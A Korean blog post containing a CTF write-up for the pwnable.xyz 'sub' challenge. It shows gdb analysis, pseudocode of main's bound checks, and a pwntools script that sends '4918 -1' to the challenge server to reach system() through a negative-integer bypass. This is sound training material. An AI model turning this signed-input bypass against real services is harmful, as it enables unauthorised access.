[pwnable.xyz] sub write up
글 작성자: Universe7202
pwnable.xyz 두번째 문제 sub 이다.
바이너리 파일을 다운 받은 뒤 실행하면 아래와 같이 동작하는 것을 볼 수 있다.
ubuntu:~/environment/ctf/pwnable.xyz/02_sub $ ./challenge
1337 input: 1 1
ubuntu:~/environment/ctf/pwnable.xyz/02_sub $ ./challenge
1337 input: 1337 1337
ubuntu:~/environment/ctf/pwnable.xyz/02_sub $
이 바이너리에 main 함수 및 사용자 정의 함수의 존재 여부를 확인하기 위해 필자가 만들어 놓은 명령어로 확인해 보면, main 함수 및 사용자 정의 함수가 존재하지 않는 것을 볼 수 있다.
ubuntu:~/environment/ctf/pwnable.xyz/02_sub $ func ./challenge
nm: challenge: no symbols
(ELF 파일에 사용자 정의 함수 list 를 보기 위해 아래 글을 참고 하자)
Analyze
gdb로 분석을 시작해보자.
main 함수의 주소를 찾기 위해 이전 글에서 했던 방식대로, 바이너리를 한번 실행 후 __libc_start_main 에 breakpoint를 걸어 준 뒤, main 함수의 주소를 찾을 수 있다. main 함수의 주소는 0x555555554850 이다.
위에서 찾은 main 함수의 주소에 breakpoint를 걸어준 뒤, 실행 후 main 함수를 분석 해보자.
x/66i 0x555555554850 를 통해 main 함수의 전체 어셈블리어를 볼 수 있다.
main 함수에서 일부분만 분석해보면 아래와 같다.
scanf("%d %d", &eax, &edx);
if(eax <= 0x1336 && edx <= 0x1336){
eax -= edx;
if(eax == 0x1337){
// call system!!
}
else{
// Program end..
}
}
else{
// Program end..
}
scanf로 두개의 인자를 받고 위 코드 흐름대로 조건에 맞게 된다면, system 함수가 실행이 된다.
즉, eax = 0x1336, edx = -0x1 이 되면 된다.
아래처럼 터미널로 테스트를 해보면, flag 파일이 없다고 뜬다. 성공한 것이다!!
Payload
python 으로 코드를 짜보면 아래와 같다.
from pwn import *
p = remote("svc.pwnable.xyz", 30001)
p.recvuntil(":")
p.send("4918 -1")
p.interactive()
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] misalignment write up (0) | 2020.01.01 |
---|---|
[pwnable.xyz] add write up (0) | 2019.12.28 |
[pwnable.xyz] Welcome write up (0) | 2019.12.26 |
[LOB] - zombie_assassin -> succubus 풀이 (0) | 2019.10.06 |
[LOB] - giant -> assassin 풀이 (0) | 2019.10.06 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] misalignment write up
[pwnable.xyz] misalignment write up
2020.01.01 -
[pwnable.xyz] add write up
[pwnable.xyz] add write up
2019.12.28 -
[pwnable.xyz] Welcome write up
[pwnable.xyz] Welcome write up
2019.12.26 -
[LOB] - zombie_assassin -> succubus 풀이
[LOB] - zombie_assassin -> succubus 풀이
2019.10.06